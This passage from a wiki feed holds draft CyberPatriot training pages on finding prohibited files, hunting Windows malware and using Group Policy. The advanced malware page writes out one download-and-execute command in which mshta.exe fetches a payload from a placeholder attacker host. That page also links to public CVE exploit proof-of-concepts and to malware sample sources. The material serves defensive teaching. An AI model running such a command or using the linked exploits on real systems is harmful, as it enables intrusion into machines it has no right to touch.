*** User specific apps that don&#039;t require administrative privileges to download&lt;br /&gt;
*** also contains user specific app data&lt;br /&gt;
* Prohibited files are very diverse. Examples:&lt;br /&gt;
** Mp3 files&lt;br /&gt;
** OGG files&lt;br /&gt;
** Plain text password files&lt;br /&gt;
** Games&lt;br /&gt;
** etc.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
=== [https://www.voidtools.com/ Voidtools(Everything)] - Prohibited files ===&lt;br /&gt;
&lt;br /&gt;
Voidtools is very helpful when finding prohibited files. It uses regex (Regular expresion) and is much faster than the Windows Explorer search. It is also helpful as you are able to see the creation date, which can help you determine whether a file is a system file or a prohibited file. If I wanted to find mp3 files, the regex would simply be&amp;lt;code&amp;gt;*.mp3&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Settings and Control Panel - Prohibited apps ===&lt;br /&gt;
&lt;br /&gt;
Settings and Control Panel are the easiest ways to find and remove apps.&lt;br /&gt;
&lt;br /&gt;
Uninstall in Settings:&lt;br /&gt;
&lt;br /&gt;
# Select Start(windows icon) &amp;amp;gt; Settings &amp;amp;gt; Apps &amp;amp;gt; Installed apps.&lt;br /&gt;
# Find the app you want to remove, select More &amp;amp;gt; Uninstall.&lt;br /&gt;
# Note: Some apps can&#039;t be uninstalled from the Settings app right now. For help uninstalling these apps, follow the instructions to uninstall from Control Panel.&lt;br /&gt;
&lt;br /&gt;
Uninstall from Control Panel:&lt;br /&gt;
&lt;br /&gt;
# In search on the taskbar, enter Control Panel and select it from the results.&lt;br /&gt;
# Select Programs &amp;amp;gt; Programs and Features.&lt;br /&gt;
# Press and hold (or right-click) on the program you want to remove and select Uninstall or Uninstall/Change. Then follow the directions on the screen.&lt;br /&gt;
&lt;br /&gt;
=== [https://windirstat.net/ WinDirStat] - Prohibited files ===&lt;br /&gt;
&lt;br /&gt;
WinDirStat is a disk usage statistics viewer and cleanup assistant for Windows. It can assist in finding whether Users have prohibited files in their Common directories, as the percentage indicates empty directories, and it is easy to sift through common directories. It can also be used to find prohibited files in unusual locations, such as in &amp;lt;code&amp;gt;C:\&amp;lt;/code&amp;gt; or in &amp;lt;code&amp;gt;%HOMEPATH%&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
Most images have prohibited files:&amp;lt;br /&amp;gt;&lt;br /&gt;
https://images.cypat.guide#gid=0&lt;br /&gt;
&lt;br /&gt;
A specific practice image that will help with this is the [https://sakouk.me/cyberpatriot#eths-cyber-squad-policy-violations-image ETHS Cyber Squad Policy Violations Image]&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading, &amp;amp;amp; Tools Mentioned ===&lt;br /&gt;
&lt;br /&gt;
* https://support.microsoft.com/en-us/windows/uninstall-or-remove-apps-and-programs-in-windows-4b55f974-2cc6-2d2b-d092-5905080eaf98&lt;br /&gt;
* https://www.voidtools.com/&lt;br /&gt;
* https://windirstat.net/&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Prohibited Files and Apps|003]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Malware_Hunting_-_Beginner&amp;diff=183</id>
		<title>Draft:Malware Hunting - Beginner</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Malware_Hunting_-_Beginner&amp;diff=183"/>
		<updated>2026-09-22T05:42:50Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/malware_hunting/malware_hunting_beginner (source: docs/windows/malware_hunting/malware_hunting_beginner.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): carbonice&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-1-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Why do we care? ==&lt;br /&gt;
&lt;br /&gt;
Practice images, especially the higher difficulty ones, are often riddled with malicious programs, DLLs, backdoors, services, configurations, and programs. Additionally, these techniques that are used also often leverage a security vulnerability to do what they need to do (example: a malicious DNS plugin was only installable because an unwanted user had the DNS Admin role).&lt;br /&gt;
&lt;br /&gt;
== Finding the Easiest Malware ==&lt;br /&gt;
&lt;br /&gt;
Some malware is easily discoverable because:&lt;br /&gt;
&lt;br /&gt;
# The malware makes its presence known, like Desktop Goose. If it&#039;s actively bugging you, you know to look for it.&lt;br /&gt;
# It can be found within AutoRuns. See below.&lt;br /&gt;
# It can be found with a baseline MalwareBytes scan, as well as Windows Defender and other antiviruses.&lt;br /&gt;
# It isn&#039;t fileless... we will get to this eventually, haha.&lt;br /&gt;
&lt;br /&gt;
== AutoRuns ==&lt;br /&gt;
&lt;br /&gt;
A defender&#039;s best friend, at least for simpler cases. Autoruns can discover a wide variety of simple persistence mechanisms used by malicious programs to stay running:&lt;br /&gt;
&lt;br /&gt;
* Registry keys such as HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, which run programs on system startup&lt;br /&gt;
* Context Menu Handlers, such as a malicious option when you right click a file&lt;br /&gt;
* Image hijacks, basically saying &amp;amp;quot;You want to run this program, actually you are running this program instead.&amp;amp;quot; (often used to set up sethc or utilman backdoors, see [https://attack.mitre.org/techniques/T1546/008/ this])&lt;br /&gt;
* Scheduled Tasks&lt;br /&gt;
* Services&lt;br /&gt;
* Drivers&lt;br /&gt;
&lt;br /&gt;
== Antiviruses ==&lt;br /&gt;
&lt;br /&gt;
There are plenty of antiviruses that are easy and free to use. This includes:&lt;br /&gt;
&lt;br /&gt;
# Windows Defender - make sure there are no exclusions prior to running the scan.&lt;br /&gt;
# Malwarebytes - note that this will override Windows Defender.&lt;br /&gt;
# Hitmanpro - note that this will set up a service.&lt;br /&gt;
# Bitdefender - note that this will override Windows Defender.&lt;br /&gt;
# Kaspersky Virus Removal Tool application - note it is banned in the US, so you may want to use a VPN.&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
Any practice image beyond the beginner difficulty will have some form of malware. Take your pick! The Windows Persistence Image may be helpful, as it has 8 persistences. Malwarebazaar also has a ton of malware that you can practice with, just note that some malware uploaded may not be malware. Malwarebazaar also has a daily malware zip folder if you want to download a lot in one go.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading, &amp;amp;amp; Tools Mentioned ===&lt;br /&gt;
&lt;br /&gt;
* https://attack.mitre.org/techniques/T1546/008/&lt;br /&gt;
* https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns&lt;br /&gt;
* https://www.malwarebytes.com/mwb-download&lt;br /&gt;
* https://datalake.abuse.ch/malware-bazaar/daily/&lt;br /&gt;
* https://bazaar.abuse.ch/browse/&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Malware|012]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Malware_Hunting_-_Advanced&amp;diff=182</id>
		<title>Draft:Malware Hunting - Advanced</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Malware_Hunting_-_Advanced&amp;diff=182"/>
		<updated>2026-09-22T05:42:50Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/malware_hunting/malware_hunting_advanced (source: docs/windows/malware_hunting/malware_hunting_advanced.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): a_person, Carbonice, Donkey (d0nkeyman), sv_du (sv-du)&lt;br /&gt;
&lt;br /&gt;
Last Updated: 11-27-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
Malware Hunting - Beginner&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Note ==&lt;br /&gt;
&lt;br /&gt;
This article is structured like so:&lt;br /&gt;
&lt;br /&gt;
# What is it?&lt;br /&gt;
# Why is it hard to detect?&lt;br /&gt;
# Example&lt;br /&gt;
# Mitigation/Detection&lt;br /&gt;
&lt;br /&gt;
== LOLBinaries ==&lt;br /&gt;
&lt;br /&gt;
LOL in this case stands for &amp;amp;quot;Living Off the Land.&amp;amp;quot; These are pre-existing legitimate tools/binaries, typically trusted and signed, that are abused to do malicious activity. Doing this blends in with normal system activity, which can reduce the likelihood of being detected.&lt;br /&gt;
&lt;br /&gt;
The main reason why it is hard to detect these is because of the leveraging of normal tools.&lt;br /&gt;
&lt;br /&gt;
An example of malware using LOLBins is the use of regsvr32.exe to execute a malicious script/payload without dropping an actual executable file to disk. This technique is often used in fileless malware attacks.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bat&amp;quot;&amp;gt;mshta.exe &amp;quot;http://attacker.com/skibidipayload.hta&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
In this example:&lt;br /&gt;
&lt;br /&gt;
* mshta.exe is a legit Windows binary used to run .hta files.&lt;br /&gt;
* http://attacker.com/skibidipayload.hta is a malicious payload&lt;br /&gt;
* mshta.exe will then download the file and execute it from memory&lt;br /&gt;
&lt;br /&gt;
Modern EDRs (Endpoint Detection and Response) and AVs (Antivirus) thankfully can detect this. They typically use behavioral analysis along with Security Information and Event Management and User and Entity Behavior Analytics. AppLocker and Windows Defender Application Control can be used by Windows Defender to restrict LOLBins.&lt;br /&gt;
&lt;br /&gt;
== Source Code Files ==&lt;br /&gt;
&lt;br /&gt;
Yes, you read that right. Source code files (most commonly Python) are often used because they can easily be obfuscated and are not detected by AVs.&lt;br /&gt;
&lt;br /&gt;
These are difficult to detect because on their own they are harmless-- running them with an appropriate application is what triggers the malware. Furthermore, AVs that use dynamic analysis may set up environments without the necessary applications and/or dependencies installed. This makes AVs start to rely more on hashes, which can be easily changed by adding/deleting comments or obfuscating the code.&lt;br /&gt;
&lt;br /&gt;
Here are some examples of CVE PoCs written in Python, but do keep in mind that Python is not the only language that these PoCs can be written in.&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/RICSecLab/CVE-2019-0708/blob/master/exploit.py CVE-2019-0708 exploit.py] — [https://virustotal.com/file/0a8ca1b3137c46b2c762a65ca334bec5efe41f7a7edb5a85e23b60ff412ae1e1 VirusTotal]&lt;br /&gt;
* [https://github.com/b4keSn4ke/CVE-2014-6271/blob/main/shellshock.py CVE-2014-6271 shellshock.py] — [https://virustotal.com/file/f34dd84fb0c0188d7035896422078aeab8edb3f6840d2c447c88335b9dee8aa7 VirusTotal]&lt;br /&gt;
&lt;br /&gt;
The main solution to this is just to simply use [https://www.voidtools.com/ Everything] and search for source code extensions (.py, .cs, etc). Additionally, if the applications needed to run these applications are not needed, uninstall them.&lt;br /&gt;
&lt;br /&gt;
== Persistence Mechanisms ==&lt;br /&gt;
&lt;br /&gt;
Persistence, are well, persistent. They are mainly for an attacker/red teamer to maintain access to a machine. This is usually done by making a script/binary execute on startup or when an event happens.&lt;br /&gt;
&lt;br /&gt;
Some persistence mechanisms are very easy to detect because they follow the MITRE ATT&amp;amp;amp;CK framework and show up in Autoruns. However, Autoruns is not able to detect some new persistence methods as it gets outdated. Also, in very rare instances, not all persistence mechanisms are covered in the MITRE ATT&amp;amp;amp;CK framework, meaning some custom persistence methods might not be visible through either MITRE ATT&amp;amp;amp;CK mappings or traditional detection tools. Also, the amount of false positives coming out of Autoruns is significantly increasing. For example, the Discord updater is incorrectly marked.&lt;br /&gt;
&lt;br /&gt;
An example of Autoruns caught lacking is the [https://blog.phantomsec.tools/phantom-persistence Phantom Persistence] which is currently undetected when this was written (07/01/25). This was however mapped to the MITRE Framework a couple months before.&lt;br /&gt;
&lt;br /&gt;
The best way to deal with this is through monitoring Event logs. [https://github.com/last-byte/PersistenceSniper PersistenceSniper] may also occasionally detect persistences that Autoruns does not. Sysmon may help in finding these, as it can find key Event IDs.&lt;br /&gt;
&lt;br /&gt;
Here are some other ways persistence can be achieved: https://persistence-info.github.io/&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Drivers ==&lt;br /&gt;
&lt;br /&gt;
Vulnerable drivers represent a significant threat as they operate with high privileges (kernel), allowing attackers to gain complete control of a system. A common technique is the &amp;amp;quot;Bring Your Own Vulnerable Driver&amp;amp;quot; (BYOVD) attack, where a legitimate, signed, but vulnerable driver is installed to bypass security controls and load malicious code. For example, malware has been observed exploiting a legitimate Avast anti-rootkit driver to disable security software.&lt;br /&gt;
&lt;br /&gt;
These drivers are hard to find because they are often signed by trusted vendors, allowing them to appear authentic. Attackers can also use many variants of the same vulnerable driver to evade signature-based detection. This is also because of the slow rollouts of block lists. VT also shows that not many vendors/no venders detect vulnerable drivers.&lt;br /&gt;
&lt;br /&gt;
Examples of this include RTCore64.sys and wsftprm.sys. These drivers are both vulnerable, both have CVEs, and are both not detected as much as they should be.&lt;br /&gt;
&lt;br /&gt;
* https://www.virustotal.com/gui/file/01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd&lt;br /&gt;
* https://www.virustotal.com/gui/file/ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8&lt;br /&gt;
&lt;br /&gt;
There are some tools that use the loldrivers data base, such as https://github.com/isiddique2024/Vulnerable-Driver-Scanner, and you can ultimately make your own. The &amp;lt;code&amp;gt;driverquery&amp;lt;/code&amp;gt; command shows a list of drivers and can be compared with vulnerable drivers. Again, Sysmon can also detect driver loaded events.&lt;br /&gt;
&lt;br /&gt;
Most drivers are often also registered services, so in your quest for finding vulnerable drivers you may find some use in viewing the installed services on the system. Additionally, most driver files are located in &amp;lt;code&amp;gt;C:\Windows\System32\drivers&amp;lt;/code&amp;gt;, and a baseline can be used to find files that do not belong. Autoruns is also able to detect drivers, but it does not highlight vulnerable signed drivers, because they are signed. Therefore, it is important to create a baseline on a hardened vanilla machine before using Autoruns.&lt;br /&gt;
&lt;br /&gt;
== Rootkits ==&lt;br /&gt;
&lt;br /&gt;
Rootkits are a type of malware designed to conceal their presence. They are typically used to escalate privileges, hide files and processes, remotely execute files, act as backdoors, and monitor user activity. There are two types of rootkits: user-mode and kernel-mode. User-mode rootkits are easier to detect because they operate only at the application layer. Kernel-mode rootkits operate at the kernel level, which makes them much harder to detect.&lt;br /&gt;
&lt;br /&gt;
Rootkits are difficult to detect, especially kernel-mode rootkits. Because these rootkits have the highest privileges, they can easily bypass or disable security software. They can also intercept API calls and modify them to hide their presence. In some cases, rootkits may even disable system logging or tamper with forensic tools to avoid detection.&lt;br /&gt;
&lt;br /&gt;
A recent example of this is the Demodex rootkit, which you can read more about here: https://www.sygnia.co/blog/ghost-emperor-demodex-rootkit/&lt;br /&gt;
&lt;br /&gt;
Detecting rootkits is difficult without proper tooling. Scanners like GMER, Malwarebytes&#039; Anti-Rootkit scanner, Avast&#039;s Rootkit Scanner and Removal Tool, and Rootkit Revealer(although a bit outdated), are designed to look for the discrepancies and hidden artifacts that rootkits create.&lt;br /&gt;
&lt;br /&gt;
== Fileless Malware ==&lt;br /&gt;
&lt;br /&gt;
Fileless malware is a type of attack that operates in a computer&#039;s memory, without writing any executable files to the disk. This approach allows it to evade file-based detection. These attacks often leverage legitimate and trusted system tools(LOLbins), such as PowerShell or Windows Management Instrumentation to execute malicious code directly in memory.&lt;br /&gt;
&lt;br /&gt;
Fileless malware is hard to find, especially after a restart. It also uses LOLBins, which blend in with normal system activity, making malicious actions appear routine. Traditional antivirus solutions primarily focus on scanning files stored on disk, which means fileless attacks can easily evade detection.&lt;br /&gt;
&lt;br /&gt;
An example of this is the Emotet Malware. Emotet has been known to use WMI to execute PowerShell commands and launch powershell.exe without dropping files onto the disk, allowing it to evade many security tools. The Emotet also abused several other tactics. You can read more here https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a .&lt;br /&gt;
&lt;br /&gt;
Application control can be used to prevent the misuse of LOLBins by enforcing constraints on their capabilities. A Host-Based Intrusion Prevention System (HIPS) can block suspicious in-memory activities. EDR solutions are also helpful in both detection and response, allowing analysts to terminate malicious processes and clean up changes made in memory or the registry.&lt;br /&gt;
&lt;br /&gt;
== Firmware Malware ==&lt;br /&gt;
&lt;br /&gt;
Firstly, firmware is software that provides low-level control of computing device hardware. Firmware malware is malicious software that infects a device’s firmware, obviously. This is kinda seperate as most of the stuff mentioned in the article previously works at a higher level and works on the operating system layer.&lt;br /&gt;
&lt;br /&gt;
Firmware malware infects and modifies the firmware stored on your device&#039;s motherboard and other components, like network cards and storage drives. First of all, most OS security tools will not be able to detect it because it is at the not as low level. This malware is also persistent beyond just reinstalling the OS or disk wipes. There is also a lack of auditing at the firmware level.&lt;br /&gt;
&lt;br /&gt;
Firmware malware is a really big threat because it works below the OS and typical security software and runs before the OS starts. This obviously makes it very hard to detect. Also, the malware can mostly survive OS reinstallation, factory resets, or disk wipes. This is all why this type of malware is extremely dangerous.&lt;br /&gt;
&lt;br /&gt;
The Windows Platform Binary Table (WPBT) is a feature introduced in Windows 8 that lets manufacturers run a program every time the system starts. Although it is intended for legitimate purposes, security researchers found that weaknesses in how it works could be exploited by attackers to install persistent malware similar to rootkits. Eclypsium&#039;s [https://eclypsium.com/research/everyone-gets-a-rootkit/ WPBT Exploit Demonstration] demonstrates how attackers could exploit WPBT to install a rootkit on Windows systems. Another example is [https://www.eset.com/us/about/newsroom/research/eset-research-analyzes-blacklotus-a-uefi-bootkit-that-can-bypass-uefi-secure-boot-on-fully-patched-systems/?srsltid=AfmBOor9ztzLmLMxmjCO1r3dzIOhoIIes2I6QDxftNfMW4ehpIS3Cxhs the BlackLotus malware] which was extreemly bad and I suggest that you look into it if you have an interest in it.&lt;br /&gt;
&lt;br /&gt;
There&#039;s not much to be done besides typical security to reduce risks. Make sure to keep the firmware updated to ensure that vulnerabilities are patched, auditing firmware, and use hardware-backed security (like secure boot, tpm, firmware right protections, and firmware integrity features like HP Sure Start).&lt;br /&gt;
&lt;br /&gt;
== Post-Exploitation Frameworks and C2s ==&lt;br /&gt;
&lt;br /&gt;
Post-exploitation frameworks are toolkits used by attackers after they have gained initial access to a system. These frameworks usually provide a Command and Control (C2 or C&amp;amp;amp;C) server that allows an attacker to manage implants on compromised machines, enabling actions such as lateral movement, privilege escalation, and data exfiltration. Well-known examples include Cobalt Strike, Sliver, and Metasploit.&lt;br /&gt;
&lt;br /&gt;
These frameworks are hard to detect because they aim to bypass security measures. Typically, post-exploitation frameworks escalate privileges. With this, the attacker can disable or blind security tools like antivirus and EDR solutions, as well as have rootkit like capabilities. They are sometimes fileless, using LOLBins or running things in memory, which poses the same issue as before. The framework&#039;s implants, or &amp;amp;quot;beacons,&amp;amp;quot; often run completely in memory to avoid file-based scanners. Meanwhile, highly customizable C2 profiles enable their network traffic to imitate legitimate services, allowing them to blend in with regular network activity.&lt;br /&gt;
&lt;br /&gt;
A very well known example is an attacker using Cobalt Strike&#039;s beacon, which injects into LOLBins. The beacon then communicates with the C2 server using a Malleable C2 profile configured to look like normal web traffic, requesting commands and sending back data at regular, &amp;amp;quot;jittered&amp;amp;quot; intervals to avoid detection by network monitoring tools.&lt;br /&gt;
&lt;br /&gt;
Detecting these frameworks requires multiple security measures. Network traffic analysis can identify beaconing behavior through patterns in connection frequency, data size, and domain reputation, even when the traffic is encrypted. Advanced EDR solutions are important for detecting behavioral indicators of a C2, such as suspicious process injection, parent-child process anomalies, and in-memory execution. Proactive threat hunting using YARA rules (a pattern-matching engine) to scan memory and processes for known C2 framework artifacts. It can also detect hidden implants.&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading, &amp;amp;amp; Tools Mentioned ===&lt;br /&gt;
&lt;br /&gt;
* https://socprime.com/blog/what-are-lolbins/&lt;br /&gt;
* https://lolbas-project.github.io/&lt;br /&gt;
* https://blog.phantomsec.tools/phantom-persistence&lt;br /&gt;
* https://persistence-info.github.io/&lt;br /&gt;
* https://attack.mitre.org/&lt;br /&gt;
* https://github.com/last-byte/PersistenceSniper&lt;br /&gt;
* https://www.loldrivers.io/&lt;br /&gt;
* https://en.wikipedia.org/wiki/Rootkit&lt;br /&gt;
* https://www.sygnia.co/blog/ghost-emperor-demodex-rootkit/&lt;br /&gt;
* https://www.crowdstrike.com/en-us/cybersecurity-101/malware/fileless-malware/&lt;br /&gt;
* https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a&lt;br /&gt;
* https://www.bleepingcomputer.com/news/security/microsoft-wpbt-flaw-lets-hackers-install-rootkits-on-windows-devices/&lt;br /&gt;
* https://github.com/InQuest/awesome-yara&lt;br /&gt;
* https://www.eset.com/us/about/newsroom/research/eset-research-analyzes-blacklotus-a-uefi-bootkit-that-can-bypass-uefi-secure-boot-on-fully-patched-systems/?srsltid=AfmBOor9ztzLmLMxmjCO1r3dzIOhoIIes2I6QDxftNfMW4ehpIS3Cxhs&lt;br /&gt;
* https://www.startupdefense.io/cyberattacks/firmware-attack&lt;br /&gt;
* https://www.eccouncil.org/cybersecurity-exchange/penetration-testing/firmware-security-risks-best-practices/#:~:text=Some%20malicious%20actions%20that%20can%20be%20performed,reviewing%20security%20code%20*%20Capturing%20security%20exceptions&lt;br /&gt;
* https://docs.rapid7.com/metasploit/about-post-exploitation/&lt;br /&gt;
* https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit?gid=0&lt;br /&gt;
* https://www.cobaltstrike.com/&lt;br /&gt;
* https://www.metasploit.com/&lt;br /&gt;
* https://github.com/Jamesits/dropWPBT&lt;br /&gt;
* https://eclypsium.com/research/everyone-gets-a-rootkit/&lt;br /&gt;
* http://www.gmer.net/&lt;br /&gt;
* https://www.malwarebytes.com/solutions/rootkit-scanner&lt;br /&gt;
* https://www.avast.com/c-rootkit-scanner-tool&lt;br /&gt;
* https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns&lt;br /&gt;
* https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&lt;br /&gt;
* https://learn.microsoft.com/en-us/sysinternals/downloads/rootkit-revealer&lt;br /&gt;
* https://www.voidtools.com/&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Malware|013]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_Group_Policy&amp;diff=181</id>
		<title>Draft:Introduction to Group Policy</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_Group_Policy&amp;diff=181"/>
		<updated>2026-09-22T05:42:50Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/group_policy/intro_group_policy (source: docs/windows/group_policy/intro_group_policy.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-03-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is it? ==&lt;br /&gt;
&lt;br /&gt;
Group Policy is a feature in Microsoft Windows that allows administrators to manage settings for users and computers. It provides centralized configuration and enforcement of operating systems, applications, and user settings. It&#039;s used in either networks or locally.&lt;br /&gt;
&lt;br /&gt;
== Concepts ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Where Group Policy settings are stored:&#039;&#039;&#039;&lt;br /&gt;
** &#039;&#039;&#039;Registry Keys:&#039;&#039;&#039; The actual policy settings are written to these protected registry locations, overriding standard user or application settings.&lt;br /&gt;
*** &amp;lt;code&amp;gt;HKEY_LOCAL_MACHINE\Software\Policies&amp;lt;/code&amp;gt; (for computer settings)&lt;br /&gt;
*** &amp;lt;code&amp;gt;HKEY_CURRENT_USER\Software\Policies&amp;lt;/code&amp;gt; (for user settings)&lt;br /&gt;
*** &#039;&#039;(And the corresponding ...\Microsoft\Windows\CurrentVersion\Policies locations)&#039;&#039;&lt;br /&gt;
** &#039;&#039;&#039;File System:&#039;&#039;&#039; The &amp;lt;code&amp;gt;%SystemRoot%\System32\GroupPolicy\&amp;lt;/code&amp;gt; directory stores the files that make up a GPO, including administrative templates and script files.&lt;br /&gt;
&lt;br /&gt;
== Group Policy vs Registry ==&lt;br /&gt;
&lt;br /&gt;
They are both used to configure settings, but Registry is basically an unc. Here are the main differences:&lt;br /&gt;
&lt;br /&gt;
* Each registry is local to its respective machine, while Group Policies can be applied to multiple computers&lt;br /&gt;
* Group policy is more persistent as group policies apply during startup.&lt;br /&gt;
* Group Policy is much easier to use as it gives setting names and explanations.&lt;br /&gt;
&lt;br /&gt;
== How do I change Group Policies ==&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;&lt;br /&gt;
** Locally. You can edit them just by selecting the policies you want to set.&lt;br /&gt;
* &amp;lt;code&amp;gt;gpmc.msc&amp;lt;/code&amp;gt; - For groups.&lt;br /&gt;
** For groups. You can edit them by selecting them on the sidebar.&lt;br /&gt;
&lt;br /&gt;
== Local Security Policy ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt; is a specific section of the local group policy(&amp;lt;code&amp;gt;Computer Configuration &amp;amp;gt; Windows Settings &amp;amp;gt; Security Settings&amp;lt;/code&amp;gt;). Any change you make in &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt; is actually being made within the Local Group Policy (&amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;) and can be viewed there.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Main Settings Configured in &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Account Policies&#039;&#039;&#039; - This is where you configure password requirements (length, complexity, history) and account lockout policies (e.g., lock an account after 5 bad password attempts).&lt;br /&gt;
* &#039;&#039;&#039;Audit Policy&#039;&#039;&#039; - Determines which security-related events are logged in the Windows Security Event Log. For example, you can audit successful or failed logon attempts.&lt;br /&gt;
* &#039;&#039;&#039;User Rights Assignment&#039;&#039;&#039; - Controls the specific rights and privileges that users and groups have on the local machine, such as &amp;amp;quot;Shut down the system&amp;amp;quot; or &amp;amp;quot;Back up files and directories.&amp;amp;quot;&lt;br /&gt;
* &#039;&#039;&#039;Security Options&#039;&#039;&#039; - A large collection of miscellaneous security settings, such as &amp;amp;quot;Interactive logon: Do not display last user name&amp;amp;quot; or policies related to User Account Control (UAC).&lt;br /&gt;
&lt;br /&gt;
== Tools for automation and compliance ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.microsoft.com/en-us/download/details.aspx?id=55319 LGPO] - Allows you to import and export GPOs&lt;br /&gt;
* [https://github.com/scipag/HardeningKitty Hardening Kitty] - Similar to lgpo, and has diverse modes which can allow you to see the most critical policies that are set incorrectly. It also contains some premade baselines.&lt;br /&gt;
* [https://public.cyber.mil/stigs/scap/ SCC] - Developed by the Department of Defense. SCC has Security Content Automation Protocol (SCAP) content and tools to help with security compliance and automation.&lt;br /&gt;
&lt;br /&gt;
== Premade baselines ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.cisecurity.org/cis-benchmarks CIS Benchmarks] - Baselines made by the Center for Internet Security. It provides two levels of baselining and is widely used.&lt;br /&gt;
* [https://stigviewer.com/stigs DoD Stigs] - Security baselines created by the Department of Defense. These guides are used to harden military networks and systems.&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
ALL images except for images like the persistence image contain Group Policy points:&amp;lt;br /&amp;gt;&lt;br /&gt;
images.cypat.guide&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading, &amp;amp;amp; Tools Mentioned ===&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Group_Policy&lt;br /&gt;
